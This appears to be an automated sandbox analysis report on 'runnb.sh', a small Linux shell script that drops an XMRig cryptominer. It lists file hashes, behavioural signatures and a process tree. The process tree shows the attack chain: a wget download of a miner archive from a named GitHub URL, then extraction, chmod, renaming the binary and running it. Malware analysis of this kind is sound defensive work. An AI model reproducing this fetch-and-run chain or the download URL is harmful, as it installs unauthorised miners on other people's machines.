Analysis
- max time kernel
1799s - max time network
1794s - platform
ubuntu-24.04_amd64 - resource
ubuntu2404-amd64-20240523-en - resource tags
arch:amd64arch:i386image:ubuntu2404-amd64-20240523-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system - submitted
30/10/2024, 08:23
Static task
static1
Behavioral task
behavioral1
Sample
runnb.sh
Resource
ubuntu2004-amd64-20240611-en
ubuntu-20.04-amd64
16 signatures
1800 seconds
Behavioral task
behavioral2
Sample
runnb.sh
Resource
ubuntu2204-amd64-20240611-en
ubuntu-22.04-amd64
16 signatures
1800 seconds
Behavioral task
behavioral3
Sample
runnb.sh
Resource
ubuntu2404-amd64-20240523-en
ubuntu-24.04-amd64
17 signatures
1800 seconds
General
- Target runnb.sh
- Size 213B
- Sample241030-j95pxazblh
- SHA256 a5951456684af2a46da1bcd8c820221c97b13a439db465c2b671fa3180d838d6
- MD5 a1189543e2f98f6696c6d857b899ab0a
- SHA1 30b167128357a05cb5ae4d8bd386d63839d99c4d
- SHA512 472e7cd110beb4c0ff9990763988190c875dccecc726753e295d4419413bfd14ed867a9a5977adf2d6e87d6e80f18abbdd0a929473f02bbfb24e1531e71d7aef
- MD5 SHA1 SHA512
Malware Config
Signatures
- XMRig Miner payload 2 IoCs
resource yara_rule behavioral3/files/fstream-6.dat family_xmrig behavioral3/files/fstream-6.dat xmrig - Xmrig family
- Xmrig_linux family
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 2550 chmod - Executes dropped EXE 1 IoCs
ioc pid Process /tmp/xmrig-6.22.0/cool 2552 cool - OS Credential Dumping 1 TTPs 1 IoCs
Adversaries may attempt to dump credentials to use it in password cracking.
description ioc Process File opened for reading /etc/shadow sudo - Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 1 IoCs
Abuse sudo or cached sudo credentials to execute code.
pid Process 2480 sudo - Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/sys_vendor cool File opened for reading /sys/devices/virtual/dmi/id/product_name cool File opened for reading /sys/devices/virtual/dmi/id/board_vendor cool File opened for reading /sys/devices/virtual/dmi/id/bios_vendor cool - Checks mountinfo of local process 1 TTPs 2 IoCs
Checks mountinfo of running processes which indicate if it is running in chroot jail.
description ioc Process File opened for reading /proc/1/mountinfo ischroot File opened for reading /proc/1/mountinfo ischroot - Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 7 raw.githubusercontent.com 5 raw.githubusercontent.com 6 raw.githubusercontent.com - Reads hardware information 1 TTPs 14 IoCs
Accesses system info like serial numbers, manufacturer names etc.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/product_uuid cool File opened for reading /sys/devices/virtual/dmi/id/board_name cool File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag cool File opened for reading /sys/devices/virtual/dmi/id/chassis_serial cool File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag cool File opened for reading /sys/devices/virtual/dmi/id/product_version cool File opened for reading /sys/devices/virtual/dmi/id/board_version cool File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor cool File opened for reading /sys/devices/virtual/dmi/id/bios_date cool File opened for reading /sys/devices/virtual/dmi/id/chassis_type cool File opened for reading /sys/devices/virtual/dmi/id/product_serial cool File opened for reading /sys/devices/virtual/dmi/id/board_serial cool File opened for reading /sys/devices/virtual/dmi/id/chassis_version cool File opened for reading /sys/devices/virtual/dmi/id/bios_version cool - Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo cool - Reads CPU attributes 1 TTPs 45 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/shared_cpu_map cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/id cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/number_of_sets cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index6/shared_cpu_map cool File opened for reading /sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_max_freq cool File opened for reading /sys/devices/system/cpu/cpu0/cpufreq/base_frequency cool File opened for reading /sys/devices/system/cpu/cpu0/topology/core_id cool File opened for reading /sys/devices/system/cpu/cpu0/topology/cluster_cpus cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/coherency_line_size cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/shared_cpu_map cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/coherency_line_size cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/coherency_line_size cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index8/shared_cpu_map cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/number_of_sets cool File opened for reading /sys/devices/system/cpu/possible cool File opened for reading /sys/devices/system/cpu/online cool File opened for reading /sys/devices/system/cpu/cpu0/topology/die_cpus cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/physical_line_partition cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/type cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/id cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index9/shared_cpu_map cool File opened for reading /sys/devices/system/cpu/cpu0/topology/package_cpus cool File opened for reading /sys/devices/system/cpu/cpu0/topology/physical_package_id cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/type cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/id cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/number_of_sets cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index7/shared_cpu_map cool File opened for reading /sys/devices/system/cpu/cpu0/topology/core_cpus cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/shared_cpu_map cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/level cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/physical_line_partition cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/type cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/size cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/size cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/level cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index4/shared_cpu_map cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/level cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/type cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/id cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/size cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/level cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/shared_cpu_map cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/physical_line_partition cool File opened for reading /sys/devices/system/cpu/cpu0/cache/index5/shared_cpu_map cool File opened for reading /sys/devices/system/cpu/cpu0/cpu_capacity cool - Enumerates kernel/hardware configuration 1 TTPs 35 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/kernel/mm/transparent_hugepage/hpage_pmd_size snap File opened for reading /sys/devices/cpu_atom/cpus cool File opened for reading /sys/kernel/mm/hugepages cool File opened for reading /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages cool File opened for reading /sys/kernel/mm/hugepages/hugepages-1048576kB/nr_hugepages cool File opened for reading /sys/devices/system/node/node0/meminfo cool File opened for reading /sys/devices/system/node/node0/access0/initiators cool File opened for reading /sys/devices/virtual/dmi/id cool File opened for reading /sys/devices/cpu_core/cpus cool File opened for reading /sys/kernel/mm/transparent_hugepage/hpage_pmd_size snap File opened for reading /sys/devices/system/node/node0/access0/initiators/read_latency cool File opened for reading /sys/firmware/dmi/tables/smbios_entry_point cool File opened for reading /sys/kernel/mm/transparent_hugepage/hpage_pmd_size snap File opened for reading /sys/kernel/mm/transparent_hugepage/hpage_pmd_size snap File opened for reading /sys/kernel/mm/transparent_hugepage/hpage_pmd_size snap File opened for reading /sys/fs/cgroup/cgroup.controllers cool File opened for reading /sys/fs/cgroup/cpuset.mems.effective cool File opened for reading /sys/devices/system/cpu cool File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-1048576kB/nr_hugepages cool File opened for reading /sys/kernel/mm/transparent_hugepage/hpage_pmd_size snap File opened for reading /sys/devices/system/node/node0/hugepages cool File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages cool File opened for reading /sys/devices/system/node/node0/access1/initiators cool File opened for reading /sys/devices/system/node/node0/access0/initiators/write_bandwidth cool File opened for reading /sys/fs/cgroup/cpuset.cpus.effective cool File opened for reading /sys/devices/system/node/node0/cpumap cool File opened for reading /sys/bus/dax/devices cool File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-2048kB/free_hugepages cool File opened for reading /sys/kernel/mm/transparent_hugepage/hpage_pmd_size snap File opened for reading /sys/kernel/mm/transparent_hugepage/hpage_pmd_size snap File opened for reading /sys/bus/soc/devices cool File opened for reading /sys/devices/system/node/online cool File opened for reading /sys/devices/system/node/node0/access0/initiators/read_bandwidth cool File opened for reading /sys/devices/system/node/node0/access0/initiators/write_latency cool File opened for reading /sys/firmware/dmi/tables/DMI cool -
description ioc Process File opened for reading /proc/cmdline snap File opened for reading /proc/cmdline snap File opened for reading /proc/self/mounts snap File opened for reading /proc/self/mounts snap File opened for reading /proc/cmdline cool File opened for reading /proc/self/stat sudo File opened for reading /proc/self/loginuid sudo File opened for reading /proc/cgroups snap File opened for reading /proc/cmdline snap File opened for reading /proc/cgroups snap File opened for reading /proc/filesystems dpkg File opened for reading /proc/filesystems dpkg File opened for reading /proc/cmdline snap File opened for reading /proc/self/cpuset cool File opened for reading /proc/meminfo cool File opened for reading /proc/self/mounts snap File opened for reading /proc/self/fd apt File opened for reading /proc/sys/crypto/fips_enabled wget File opened for reading /proc/self/mounts snap File opened for reading /proc/mounts cool File opened for reading /proc/sys/kernel/cap_last_cap sudo File opened for reading /proc/self/mounts snap File opened for reading /proc/cgroups snap File opened for reading /proc/cgroups snap File opened for reading /proc/self/mounts snap File opened for reading /proc/filesystems tar File opened for reading /proc/filesystems mv File opened for reading /proc/driver/nvidia/gpus cool File opened for reading /proc/cgroups snap File opened for reading /proc/self/mountinfo ischroot File opened for reading /proc/cgroups snap File opened for reading /proc/version_signature cool File opened for reading /proc/filesystems sudo File opened for reading /proc/sys/kernel/seccomp/actions_avail sudo File opened for reading /proc/cmdline snap File opened for reading /proc/cgroups snap File opened for reading /proc/cmdline snap File opened for reading /proc/self/mountinfo ischroot File opened for reading /proc/self/mounts snap File opened for reading /proc/cgroups snap File opened for reading /proc/filesystems dpkg File opened for reading /proc/self/mounts snap File opened for reading /proc/filesystems dpkg File opened for reading /proc/cmdline snap File opened for reading /proc/cmdline snap File opened for reading /proc/sys/vm/nr_hugepages cool File opened for reading /proc/sys/kernel/ngroups_max sudo File opened for reading /proc/1/limits sudo File opened for reading /proc/self/fd apt - Writes file to tmp directory 5 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/xmrigtar.tar.gz wget File opened for modification /tmp/xmrig-6.22.0/SHA256SUMS tar File opened for modification /tmp/xmrig-6.22.0/config.json tar File opened for modification /tmp/xmrig-6.22.0/xmrig tar File opened for modification /tmp/xmrig-6.22.0/config.json cool
Processes
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/tmp/runnb.sh/tmp/runnb.sh1⤵PID:2478
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/usr/bin/sudosudo apt install wget2⤵
- OS Credential Dumping
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
- Reads runtime system information
PID:2480 -
/usr/bin/aptapt install wget3⤵
- Reads runtime system information
PID:2481 -
/usr/bin/dpkg/usr/bin/dpkg --print-foreign-architectures4⤵
- Reads runtime system information
PID:2482
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/usr/bin/dpkg/usr/bin/dpkg --print-foreign-architectures4⤵
- Reads runtime system information
PID:2483
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/bin/sh/bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"4⤵PID:2487
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/usr/bin/snap/usr/bin/snap advise-snap --from-apt5⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:2488
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/bin/sh/bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"4⤵PID:2492
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/usr/bin/snap/usr/bin/snap advise-snap --from-apt5⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:2493
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/bin/sh/bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"4⤵PID:2497
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/usr/bin/snap/usr/bin/snap advise-snap --from-apt5⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:2498
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/usr/bin/ischroot/usr/bin/ischroot -t4⤵
- Checks mountinfo of local process
- Reads runtime system information
PID:2503
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/bin/sh/bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"4⤵PID:2504
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/usr/bin/snap/usr/bin/snap advise-snap --from-apt5⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:2505
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/usr/bin/aptapt install wget2⤵
- Reads runtime system information
PID:2509 -
/usr/bin/dpkg/usr/bin/dpkg --print-foreign-architectures3⤵
- Reads runtime system information
PID:2510
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/usr/bin/dpkg/usr/bin/dpkg --print-foreign-architectures3⤵
- Reads runtime system information
PID:2511
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/bin/sh/bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"3⤵PID:2512
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/usr/bin/snap/usr/bin/snap advise-snap --from-apt4⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:2513
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/bin/sh/bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"3⤵PID:2517
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/usr/bin/snap/usr/bin/snap advise-snap --from-apt4⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:2518
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/bin/sh/bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"3⤵PID:2522
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/usr/bin/snap/usr/bin/snap advise-snap --from-apt4⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:2523
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/usr/bin/ischroot/usr/bin/ischroot -t3⤵
- Checks mountinfo of local process
- Reads runtime system information
PID:2527
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/bin/sh/bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"3⤵PID:2528
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/usr/bin/snap/usr/bin/snap advise-snap --from-apt4⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:2529
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/usr/bin/wgetwget https://github.com/orkaroeli/orkaroeliminer/raw/refs/heads/main/xmrigtar.tar.gz2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:2533
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/usr/bin/tartar xvf xmrigtar.tar.gz2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:2548 -
/usr/local/sbin/gzipgzip -d3⤵PID:2549
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/usr/local/bin/gzipgzip -d3⤵PID:2549
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/usr/sbin/gzipgzip -d3⤵PID:2549
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/usr/bin/gzipgzip -d3⤵PID:2549
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/usr/bin/chmodchmod +x xmrig2⤵
- File and Directory Permissions Modification
PID:2550
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/usr/bin/mvmv xmrig cool2⤵
- Reads runtime system information
PID:2551
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/tmp/xmrig-6.22.0/cool./cool2⤵
- Executes dropped EXE
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
- Writes file to tmp directory
PID:2552
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
Abuse Elevation Control Mechanism
1Sudo and Sudo Caching
1File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
3System Checks
3Replay Monitor
Loading Replay Monitor...
Downloads
- Path /root/.wget-hsts
- Size 215B
- SHA256 0730dd7cc1017d1155f542e802331a0c18c72468548cbd28a17f42883d4a69fc
- MD5 bfb0a058ab1ccc912e7fb32aaa331107
- SHA1 bbd11dd91e097c5a10eed9b873c07460a3e991da
- SHA512 4f587daf71a45f1ad250aa7dbeb63403090761e03968ff986ee6132f0ab6b4b24075f52b08c9edf48f5afe130cf9a2d235e2036ace5e3e73a6016e052633b676
- MD5 SHA1 SHA512
- Path /tmp/xmrig-6.22.0/SHA256SUMS
- Size 150B
- SHA256 99ca11102d0994a98a76722b325f3215b30d3b3df3d722a2baebf6f9944566fa
- MD5 19f1bb08cf8997837b1f738b76ca97e9
- SHA1 c497499ad539d6ef580c6c932a2633fe820abded
- SHA512 fbb742f0fa67720e798b493a5e5ba5e72cbdde3c0ea55cfc0704f93ab97c586434a3e029f6e1e3ed655da997649aa8e9caf352018b87457755f75ca1bfe50230
- MD5 SHA1 SHA512
- Path /tmp/xmrig-6.22.0/config.json
- Size 919B
- SHA256 1aa77bd6697d36e345cd7c0769613e9798106b0fed206d7f766e846b63aa10fd
- MD5 0a9b0011891eae4086d16c3364e772ff
- SHA1 98fe8a7b5b6b0c0aa7635e4e388c67c863772b69
- SHA512 9e1791e92d71b539aac8f944a3db65708ebfca102f16e3e7af429aaea1446be781c4ec5cb740a163dbc11a3bdacfed36d21262e05fcf29d896beb06ce0d59554
- MD5 SHA1 SHA512
- Path /tmp/xmrig-6.22.0/config.json
- Size 1KB
- SHA256 4042908287a7c60eb515d2c180a03d25156b4001af6cba1ad823461cc86751c5
- MD5 1879742a3f028a8e227f3b6b51756269
- SHA1 20365c0cf35e787f525baede3646cfdfe6001cba
- SHA512 e7d918532dd029a53b803df0df2e4e61416e18b58ffabe18b542cd30b111f266e98d73aad8ffe62a79af50e4f21d7e19415ee03ff104eb36aaad2cf1903e9731
- MD5 SHA1 SHA512
- Path /tmp/xmrig-6.22.0/xmrig
- Size 7.9MB
- SHA256 fd11982f252c060a1372e81d5be57589647052b56281a5c54975ca22164f7726
- MD5 51f989c19819a0a0625c251df6affe95
- SHA1 3b27c895b6f9665f9287510207bfcdcb7fe6e059
- SHA512 ec8ce7d1960f9ae564d5654a35e2ad108ed900f3f56b38dfe4601be0db49c1a3cd9c643307b72c2bfc0c157d2640a62343cd7377f68d29327104e0e78b4bdfbd
- SSDEEP 98304:XKMjbl9nPlFyVrEpdzukkzX0cEcCcons+qh3grgPEm7eXYPi1Q8l+Zjk/VA264cV:v/Fyepw7eIg+xuZNhXUVZ+5u3E3
- MD5 SHA1 SHA512 SSDEEP
- Path /tmp/xmrigtar.tar.gz
- Size 3.4MB
- SHA256 11d52ee20c865f6b0b7787bfe7a06d7ce0d865e041552365b9a026a0d24cc18f
- MD5 ccdb2d76041e107dff38f962d65b3d4b
- SHA1 e9360c43398f3725b0a3eb87e2448ac416d96be3
- SHA512 f6b090c698cb1092bf10010bbe00fed0388e7117b8397cf3113a23271bb514d0d03b559de721896994b472f26f9e3aeeddc2877d71bcc7830313e97d2171033d
- SSDEEP 49152:vB0IFKL2OZckrb0XBoXS0ISRwLHAk+wf+qiiO/oj8e/R9stTI033x9RI:v7W2OZcRXBoXSTSRuA7w/it/ozEtTICQ
- MD5 SHA1 SHA512 SSDEEP